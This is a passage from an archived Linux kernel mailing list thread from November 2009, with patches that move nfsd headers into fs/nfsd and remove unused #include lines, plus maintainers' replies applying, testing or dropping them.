>  #include <linux/sunrpc/clnt.h>
>  
> +#include "nfsd.h"
> +#include "cache.h"
> +
>  /*
>   *	We have a single directory with 9 nodes in it.
>   */
> diff --git a/include/linux/nfsd/nfsd.h b/fs/nfsd/nfsd.h
> similarity index 100%
> rename from include/linux/nfsd/nfsd.h
> rename to fs/nfsd/nfsd.h
> diff --git a/fs/nfsd/nfsfh.c b/fs/nfsd/nfsfh.c
> index 4ef4601..2bf9efb 100644
> --- a/fs/nfsd/nfsfh.c
> +++ b/fs/nfsd/nfsfh.c
> @@ -12,7 +12,7 @@
>  #include <linux/exportfs.h>
>  
>  #include <linux/sunrpc/svcauth_gss.h>
> -#include <linux/nfsd/nfsd.h>
> +#include "nfsd.h"
>  #include "vfs.h"
>  #include "auth.h"
>  
> diff --git a/fs/nfsd/nfsproc.c b/fs/nfsd/nfsproc.c
> index b6bd9e0..21a5f79 100644
> --- a/fs/nfsd/nfsproc.c
> +++ b/fs/nfsd/nfsproc.c
> @@ -9,8 +9,8 @@
>  
>  #include <linux/namei.h>
>  
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr.h>
> +#include "cache.h"
> +#include "xdr.h"
>  #include "vfs.h"
>  
>  typedef struct svc_rqst	svc_rqst;
> diff --git a/fs/nfsd/nfssvc.c b/fs/nfsd/nfssvc.c
> index b2d7ffa..b520ce1 100644
> --- a/fs/nfsd/nfssvc.c
> +++ b/fs/nfsd/nfssvc.c
> @@ -15,11 +15,11 @@
>  
>  #include <linux/sunrpc/stats.h>
>  #include <linux/sunrpc/svcsock.h>
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
>  #include <linux/lockd/bind.h>
>  #include <linux/nfsacl.h>
>  #include <linux/seq_file.h>
> +#include "nfsd.h"
> +#include "cache.h"
>  #include "vfs.h"
>  
>  #define NFSDDBG_FACILITY	NFSDDBG_SVC
> diff --git a/fs/nfsd/nfsxdr.c b/fs/nfsd/nfsxdr.c
> index 5e0603d..3bec831 100644
> --- a/fs/nfsd/nfsxdr.c
> +++ b/fs/nfsd/nfsxdr.c
> @@ -6,7 +6,7 @@
>   * Copyright (C) 1995, 1996 Olaf Kirch <okir-pn4DOG8n3UYbFoVRYvo4fw@public.gmane.org>
>   */
>  
> -#include <linux/nfsd/xdr.h>
> +#include "xdr.h"
>  #include "auth.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_XDR
> diff --git a/include/linux/nfsd/state.h b/fs/nfsd/state.h
> similarity index 100%
> rename from include/linux/nfsd/state.h
> rename to fs/nfsd/state.h
> diff --git a/fs/nfsd/stats.c b/fs/nfsd/stats.c
> index e3e411e..3fc69df 100644
> --- a/fs/nfsd/stats.c
> +++ b/fs/nfsd/stats.c
> @@ -25,11 +25,11 @@
>  
>  #include <linux/seq_file.h>
>  #include <linux/module.h>
> -
>  #include <linux/sunrpc/stats.h>
> -#include <linux/nfsd/nfsd.h>
>  #include <linux/nfsd/stats.h>
>  
> +#include "nfsd.h"
> +
>  struct nfsd_stats	nfsdstats;
>  struct svc_stat		nfsd_svcstats = {
>  	.program	= &nfsd_program,
> diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c
> index 81ce108..04bdba1 100644
> --- a/fs/nfsd/vfs.c
> +++ b/fs/nfsd/vfs.c
> @@ -22,23 +22,25 @@
>  #include <linux/fcntl.h>
>  #include <linux/namei.h>
>  #include <linux/delay.h>
> -#include <linux/nfsd/nfsd.h>
> -#ifdef CONFIG_NFSD_V3
> -#include <linux/nfsd/xdr3.h>
> -#endif /* CONFIG_NFSD_V3 */
>  #include <linux/quotaops.h>
>  #include <linux/fsnotify.h>
>  #include <linux/posix_acl_xattr.h>
>  #include <linux/xattr.h>
> +#include <linux/jhash.h>
> +#include <linux/ima.h>
> +#include <asm/uaccess.h>
> +
> +#ifdef CONFIG_NFSD_V3
> +#include "xdr3.h"
> +#endif /* CONFIG_NFSD_V3 */
> +
>  #ifdef CONFIG_NFSD_V4
>  #include <linux/nfs4_acl.h>
>  #include <linux/nfsd_idmap.h>
>  #endif /* CONFIG_NFSD_V4 */
> -#include <linux/jhash.h>
> -#include <linux/ima.h>
> -#include "vfs.h"
>  
> -#include <asm/uaccess.h>
> +#include "nfsd.h"
> +#include "vfs.h"
>  
>  #define NFSDDBG_FACILITY		NFSDDBG_FILEOP
>  
> diff --git a/include/linux/nfsd/xdr.h b/fs/nfsd/xdr.h
> similarity index 99%
> rename from include/linux/nfsd/xdr.h
> rename to fs/nfsd/xdr.h
> index 58f824d..235ee5c 100644
> --- a/include/linux/nfsd/xdr.h
> +++ b/fs/nfsd/xdr.h
> @@ -8,7 +8,7 @@
>  #define LINUX_NFSD_H
>  
>  #include <linux/vfs.h>
> -#include <linux/nfsd/nfsd.h>
> +#include "nfsd.h"
>  
>  struct nfsd_fhandle {
>  	struct svc_fh		fh;
> diff --git a/include/linux/nfsd/xdr3.h b/fs/nfsd/xdr3.h
> similarity index 99%
> rename from include/linux/nfsd/xdr3.h
> rename to fs/nfsd/xdr3.h
> index 421eddd..b330756 100644
> --- a/include/linux/nfsd/xdr3.h
> +++ b/fs/nfsd/xdr3.h
> @@ -9,7 +9,7 @@
>  #ifndef _LINUX_NFSD_XDR3_H
>  #define _LINUX_NFSD_XDR3_H
>  
> -#include <linux/nfsd/xdr.h>
> +#include "xdr.h"
>  
>  struct nfsd3_sattrargs {
>  	struct svc_fh		fh;
> diff --git a/include/linux/nfsd/xdr4.h b/fs/nfsd/xdr4.h
> similarity index 99%
> rename from include/linux/nfsd/xdr4.h
> rename to fs/nfsd/xdr4.h
> index 1bf2662..83202a1 100644
> --- a/include/linux/nfsd/xdr4.h
> +++ b/fs/nfsd/xdr4.h
> @@ -39,8 +39,8 @@
>  #ifndef _LINUX_NFSD_XDR4_H
>  #define _LINUX_NFSD_XDR4_H
>  
> -#include <linux/nfsd/state.h>
> -#include <linux/nfsd/nfsd.h>
> +#include "state.h"
> +#include "nfsd.h"
>  
>  #define NFSD4_MAX_TAGLEN	128
>  #define XDR_LEN(n)                     (((n) + 3) & ~3)
> -- 
> 1.6.5.2
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 4/5] lockd: Remove unused nfsd headers #includes
Date: Wed, 25 Nov 2009 15:23:24 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <20091125202323.GJ32502@fieldses.org>
References: <4B0C1EB7.50508@panasas.com> <4B0C1FE0.8040105@panasas.com> <20091125201011.GG32502@fieldses.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259180574 20905 80.91.229.12 (25 Nov 2009 20:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 20:22:54 +0000 (UTC)
Cc: Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Nov 25 21:22:46 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDONx-0001kJ-Mj
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 25 Nov 2009 21:22:46 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1759208AbZKYUWg (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 25 Nov 2009 15:22:36 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1759649AbZKYUWg
	(ORCPT <rfc822;linux-nfs-outgoing>); Wed, 25 Nov 2009 15:22:36 -0500
Original-Received: from fieldses.org ([174.143.236.118]:53216 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753574AbZKYUWf (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 25 Nov 2009 15:22:35 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>)
	id 1NDOOa-0000TL-2x; Wed, 25 Nov 2009 15:23:24 -0500
Content-Disposition: inline
In-Reply-To: <20091125201011.GG32502-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29602 gmane.linux.kernel:919035 gmane.linux.ports.parisc:2367 gmane.linux.ports.sparc:12533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2367>

On Wed, Nov 25, 2009 at 03:10:11PM -0500, J. Bruce Fields wrote:
> On Tue, Nov 24, 2009 at 08:03:12PM +0200, Boaz Harrosh wrote:
> > 
> > In what history where these ever needed? Well not
> > any more.
> 
> Applied, thanks.--b.

Um, I said that before I actually tried to compile it....  OK, dropping
for now (assuming I'm missing some earlier patch).

--b.

> 
> > 
> > Signed-off-by: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
> > ---
> >  fs/lockd/svc4proc.c |    4 ----
> >  fs/lockd/svcproc.c  |    4 ----
> >  2 files changed, 0 insertions(+), 8 deletions(-)
> > 
> > diff --git a/fs/lockd/svc4proc.c b/fs/lockd/svc4proc.c
> > index bd173a6..a7966ee 100644
> > --- a/fs/lockd/svc4proc.c
> > +++ b/fs/lockd/svc4proc.c
> > @@ -11,10 +11,6 @@
> >  #include <linux/time.h>
> >  #include <linux/slab.h>
> >  #include <linux/smp_lock.h>
> > -#include <linux/in.h>
> > -#include <linux/sunrpc/svc.h>
> > -#include <linux/sunrpc/clnt.h>
> > -#include <linux/nfsd/nfsd.h>
> >  #include <linux/lockd/lockd.h>
> >  #include <linux/lockd/share.h>
> >  
> > diff --git a/fs/lockd/svcproc.c b/fs/lockd/svcproc.c
> > index e1d28dd..56c9519 100644
> > --- a/fs/lockd/svcproc.c
> > +++ b/fs/lockd/svcproc.c
> > @@ -11,10 +11,6 @@
> >  #include <linux/time.h>
> >  #include <linux/slab.h>
> >  #include <linux/smp_lock.h>
> > -#include <linux/in.h>
> > -#include <linux/sunrpc/svc.h>
> > -#include <linux/sunrpc/clnt.h>
> > -#include <linux/nfsd/nfsd.h>
> >  #include <linux/lockd/lockd.h>
> >  #include <linux/lockd/share.h>
> >  
> > -- 
> > 1.6.5.2
> > 
> > 
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.nfs
Subject: Re: [PATCH 2/5] sparc: remove unused nfsd #includes
Date: Wed, 25 Nov 2009 15:19:25 -0800 (PST)
Lines: 17
Approved: news@gmane.org
Message-ID: <20091125.151925.92362266.davem@davemloft.net>
References: <4B0C1EB7.50508@panasas.com>
	<4B0C1F5C.9090903@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259191164 22890 80.91.229.12 (25 Nov 2009 23:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Nov 2009 23:19:24 +0000 (UTC)
Cc: bfields@citi.umich.edu, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-nfs@vger.kernel.org,
	pnfs@linux-nfs.org, akpm@linux-foundation.org
To: bharrosh@panasas.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 26 00:19:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDR8m-0003zC-W1
	for glpp-linux-parisc@lo.gmane.org; Thu, 26 Nov 2009 00:19:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935073AbZKYXTJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Nov 2009 18:19:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934909AbZKYXTI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Nov 2009 18:19:08 -0500
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:49498
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934886AbZKYXTH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Nov 2009 18:19:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id A591C36480C;
	Wed, 25 Nov 2009 15:19:25 -0800 (PST)
In-Reply-To: <4B0C1F5C.9090903@panasas.com>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2368 gmane.linux.kernel:919101 gmane.linux.ports.sparc:12534 gmane.linux.nfs:29607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2368>

From: Boaz Harrosh <bharrosh@panasas.com>
Date: Tue, 24 Nov 2009 20:01:00 +0200

> 
> Some unused includes removed.
> 
> In an effort to cleanup nfsd headers and move private
> definitions to source directory.
> 
> Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>

Applied to sparc-next-2.6, thank you.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.nfs
Subject: Re: [PATCH 4/5] lockd: Remove unused nfsd headers #includes
Date: Thu, 26 Nov 2009 14:39:17 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <4B0E76F5.1030006@panasas.com>
References: <4B0C1EB7.50508@panasas.com> <4B0C1FE0.8040105@panasas.com> <20091125201011.GG32502@fieldses.org> <20091125202323.GJ32502@fieldses.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259239174 7303 80.91.229.12 (26 Nov 2009 12:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Nov 2009 12:39:34 +0000 (UTC)
Cc: Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: "J. Bruce Fields" <bfields@citi.umich.edu>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Nov 26 13:39:26 2009
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDdd6-00018h-U4
	for lnx-sparclinux@lo.gmane.org; Thu, 26 Nov 2009 13:39:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752078AbZKZMjQ (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Thu, 26 Nov 2009 07:39:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755364AbZKZMjP
	(ORCPT <rfc822;sparclinux-outgoing>);
	Thu, 26 Nov 2009 07:39:15 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:7929 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751433AbZKZMjO (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Thu, 26 Nov 2009 07:39:14 -0500
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.21]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 26 Nov 2009 07:39:20 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <20091125202323.GJ32502@fieldses.org>
X-OriginalArrivalTime: 26 Nov 2009 12:39:20.0785 (UTC) FILETIME=[79E71410:01CA6E95]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:12552 gmane.linux.kernel:919356 gmane.linux.ports.parisc:2369 gmane.linux.nfs:29610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2369>

On 11/25/2009 10:23 PM, J. Bruce Fields wrote:
> On Wed, Nov 25, 2009 at 03:10:11PM -0500, J. Bruce Fields wrote:
>> On Tue, Nov 24, 2009 at 08:03:12PM +0200, Boaz Harrosh wrote:
>>>
>>> In what history where these ever needed? Well not
>>> any more.
>>
>> Applied, thanks.--b.
> 
> Um, I said that before I actually tried to compile it....  OK, dropping
> for now (assuming I'm missing some earlier patch).
> 
> --b.
> 

OK, I didn't realize it but, yes I have these on top of the previous 6
so it makes sense.

I have posted the previous 6 rebased on your new current tree, have you seen
it? All the patches are the same but [5/6] which has a "version 3". Do I need
to re post?

Thanks
Boaz
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.nfs
Subject: Re: [PATCH 1/5] parsic: remove unused nfsd #includes
Date: Thu, 26 Nov 2009 16:46:44 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <4B0E94D4.5090800@panasas.com>
References: <4B0C1EB7.50508@panasas.com> <4B0C1F1A.8070605@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259246840 31895 80.91.229.12 (26 Nov 2009 14:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Nov 2009 14:47:20 +0000 (UTC)
Cc: Linux Kernel <linux-kernel@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <de
Original-X-From: sparclinux-owner@vger.kernel.org Thu Nov 26 15:47:11 2009
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDfcl-0007G1-AB
	for lnx-sparclinux@lo.gmane.org; Thu, 26 Nov 2009 15:47:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760535AbZKZOqo (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Thu, 26 Nov 2009 09:46:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760278AbZKZOqn
	(ORCPT <rfc822;sparclinux-outgoing>);
	Thu, 26 Nov 2009 09:46:43 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:40483 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1760558AbZKZOql (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Thu, 26 Nov 2009 09:46:41 -0500
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.21]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 26 Nov 2009 09:46:47 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091125 Remi/fc10 Thunderbird/3.0
In-Reply-To: <4B0C1F1A.8070605@panasas.com>
X-OriginalArrivalTime: 26 Nov 2009 14:46:48.0168 (UTC) FILETIME=[48191E80:01CA6EA7]
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:12554 gmane.linux.ports.parisc:2370 gmane.linux.kernel:919395 gmane.linux.nfs:29611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2370>

On 11/24/2009 11:27 PM, Grant Grundler wrote:
> On Tue, Nov 24, 2009 at 07:58:15PM +0200, Boaz Harrosh wrote:
>> Some arch files had unneeded #includes directives from linux/nfsd/*.
>> Some vfs files had unneeded #includes directives from linux/nfsd/*.
> ...
>> patches:
>> [PATCH 1/5] parsic: remove unused nfsd #includes
>> 	Some kind soul, please compile with this patch? compile
>> 	is all that's needed.
> 
> Boaz,
> linux-2.6 compiles for parisc with this patch. Please add:
>     Tested-by: Grant Grundler <grundler@parisc-linux.org>
> 
> thanks,
> grant
> 

CCing registered parsic maintainers. Could we please get an ACK on
this patch, and cary this through the nfsd tree?

Thanks 
Boaz

On 11/24/2009 07:59 PM, Boaz Harrosh wrote:
> 
> Some unused includes removed.
> 
> This patch is in an effort to cleanup nfsd headers and move
> private definitions to source directory.
> 
> Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
> ---
>  arch/parisc/kernel/sys_parisc32.c |    6 ------
>  1 files changed, 0 insertions(+), 6 deletions(-)
> 
> diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
> index 561388b..4a8ca63 100644
> --- a/arch/parisc/kernel/sys_parisc32.c
> +++ b/arch/parisc/kernel/sys_parisc32.c
> @@ -26,13 +26,7 @@
>  #include <linux/shm.h>
>  #include <linux/slab.h>
>  #include <linux/uio.h>
> -#include <linux/nfs_fs.h>
>  #include <linux/ncp_fs.h>
> -#include <linux/sunrpc/svc.h>
> -#include <linux/nfsd/nfsd.h>
> -#include <linux/nfsd/cache.h>
> -#include <linux/nfsd/xdr.h>
> -#include <linux/nfsd/syscall.h>
>  #include <linux/poll.h>
>  #include <linux/personality.h>
>  #include <linux/stat.h>

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.nfs
Subject: Re: [PATCH 1/5] parsic: remove unused nfsd #includes
Date: Thu, 26 Nov 2009 22:47:53 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <4B0EF789.8060805@gmx.de>
References: <4B0C1EB7.50508@panasas.com> <4B0C1F1A.8070605@panasas.com> <4B0E94D4.5090800@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259272091 12726 80.91.229.12 (26 Nov 2009 21:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Nov 2009 21:48:11 +0000 (UTC)
Cc: "J. Bruce Fields" <bfields@citi.umich.edu>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	pNFS Mailing List <pnfs@linux-nfs.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Boaz Harrosh <bharrosh@panasas.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 26 22:48:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NDmC2-0000y2-MC
	for glpp-linux-parisc@lo.gmane.org; Thu, 26 Nov 2009 22:48:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752903AbZKZVrz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 26 Nov 2009 16:47:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752978AbZKZVrz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 26 Nov 2009 16:47:55 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47255 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752892AbZKZVrx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 26 Nov 2009 16:47:53 -0500
Original-Received: (qmail invoked by alias); 26 Nov 2009 21:47:58 -0000
Original-Received: from p4FDB39CE.dip0.t-ipconnect.de (EHLO halden.box) [79.219.57.206]
  by mail.gmx.net (mp010) with SMTP; 26 Nov 2009 22:47:58 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+7HgcqRXe7llssiurKkkjgvTsJ5ARDVpfo14fL5i
	ELbUJTpQM/CRsO
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <4B0E94D4.5090800@panasas.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2371 gmane.linux.kernel:919555 gmane.linux.ports.sparc:12557 gmane.linux.nfs:29615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2371>

On 11/26/2009 03:46 PM, Boaz Harrosh wrote:
> On 11/24/2009 11:27 PM, Grant Grundler wrote:
